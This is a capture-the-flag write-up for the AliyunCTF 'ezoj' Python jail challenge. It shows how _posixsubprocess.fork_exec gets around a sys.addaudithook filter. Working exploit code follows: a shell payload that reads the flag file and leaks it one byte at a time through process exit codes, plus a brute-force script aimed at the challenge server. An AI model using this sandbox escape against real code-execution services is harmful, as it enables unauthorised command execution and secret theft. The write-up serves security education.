web web

ezoj

hofill AliyunCTF
web pyjail python rce

Flag

aliyunctf{e541e6ca-ae73-4cd1-8270-2265e2a91b87}

Summary

Python jailbreak using _posixsubprocess to bypass the audit hook, then leaking the flag byte-by-byte via process exit codes.

Details

We get the source by accessing /source. The relevant part is the audit hook prepended to all submissions:

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)
"""

sys.addaudithook is permanent — you can’t remove it, and any code that tries to call os.system or subprocess directly will trigger it and raise RuntimeError.

The escape: _posixsubprocess is a C extension module. Importing it fires an "import" audit event (which is allowed), and calling _posixsubprocess.fork_exec directly does not fire any audit event — it bypasses the hook entirely.

From this writeup, we know _posixsubprocess.fork_exec can spawn arbitrary processes. We then leak the flag byte-by-byte by using the process exit code as the channel:

import sys
import time
import os
import _posixsubprocess

args = [b"/bin/sh", b"-c", b"exit $(printf \"%d\" \"$(cat /*flag* | head -c 2 | tail -c 1 | od -An -t dC | tr -d ' ')\")"]
path = b"/bin/sh"
passfds = tuple()

errpipe_read, errpipe_write = os.pipe()

pid = _posixsubprocess.fork_exec(
    args, [path], True, passfds, None, None,
    -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write,
    False, False, -1, None, None, None, -1, None,
    True)

time.sleep(1)
sys.exit(os.waitpid(pid, 0)[1]//256)

The exit code carries the ASCII value of one character. The outer bruteforce script reads it back from the API response:

import requests

for i in range(1, 20):
    burp0_url = "http://121.41.238.106:14842/api/submit"
    burp0_json = {
        "code": (
            "import sys\nimport time\nimport os\nimport _posixsubprocess\n\n"
            "args = [b\"/bin/sh\", b\"-c\", b\"exit $(printf \\\"%d\\\" "
            f"\\\"$(cat /*flag* | head -c {i} | tail -c 1 | od -An -t dC | tr -d ' ')\\\")\"]\n"
            "path = b\"/bin/sh\"\npassfds = tuple()\n\n"
            "errpipe_read, errpipe_write = os.pipe()\n\n"
            "pid = _posixsubprocess.fork_exec(\n"
            "    args, [path], True, passfds, None, None,\n"
            "    -1, -1, -1, -1, -1, -1, errpipe_read, errpipe_write,\n"
            "    False, False, -1, None, None, None, -1, None,\n"
            "    True)\n\n"
            "time.sleep(1)\nsys.exit(os.waitpid(pid, 0)[1]//256)"
        ),
        "problem_id": "0"
    }
    r = requests.post(burp0_url, json=burp0_json)
    print(chr(int(r.json()['message'].split("=")[1])), end="", flush=True)

Which printed the flag character by character.

Resources

Baby Sandbox Online Python Editor